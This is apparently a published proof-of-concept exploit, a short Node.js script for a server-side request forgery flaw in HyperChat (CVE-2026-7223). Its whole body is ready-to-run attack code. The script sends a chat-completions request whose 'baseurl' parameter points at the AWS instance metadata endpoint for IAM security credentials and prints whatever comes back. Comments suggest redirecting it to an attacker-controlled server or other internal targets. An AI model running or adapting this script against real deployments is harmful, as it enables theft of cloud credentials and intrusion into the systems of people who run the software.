CVE-2026-7223 HyperChat SSRF漏洞

// PoC for CVE-2026-7223: HyperChat SSRF // Target: BigSweetPotatoStudio HyperChat <= 2.0.0-alpha.63 // Description: Exploiting the 'baseurl' parameter in AI Proxy Middleware const axios = require('axios'); // Target URL of the vulnerable HyperChat instance const TARGET = 'http://vulnerable-host:3000'; // Malicious internal URL to access (e.g., AWS Metadata, Local Admin Panel) // Change this to your controlled server or internal target to verify const MALICIOUS_URL = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/'; async function exploit() { console.log(`[+] Sending SSRF payload to ${TARGET}...`); try { // Constructing the payload with the manipulated 'baseurl' argument const payload = { messages: [{ role: 'user', content: 'test' }], // The vulnerable parameter baseurl: MALICIOUS_URL }; // Sending the request to the vulnerable endpoint const response = await axios.post(`${TARGET}/api/chat/completions`, payload, { headers: { 'Content-Type': 'application/json' }, // Disable redirect following to capture potential 30x leaks if any maxRedirects: 0, timeout: 5000 }); console.log('[+] Request sent successfully!'); console.log('[+] Response data:', JSON.stringify(response.data, null, 2)); } catch (error) { if (error.response) { console.log('[!] Server responded with status:', error.response.status); console.log('[!] Response data:', JSON.stringify(error.response.data, null, 2)); } else { console.error('[!] Exploit failed:', error.message); } } } exploit();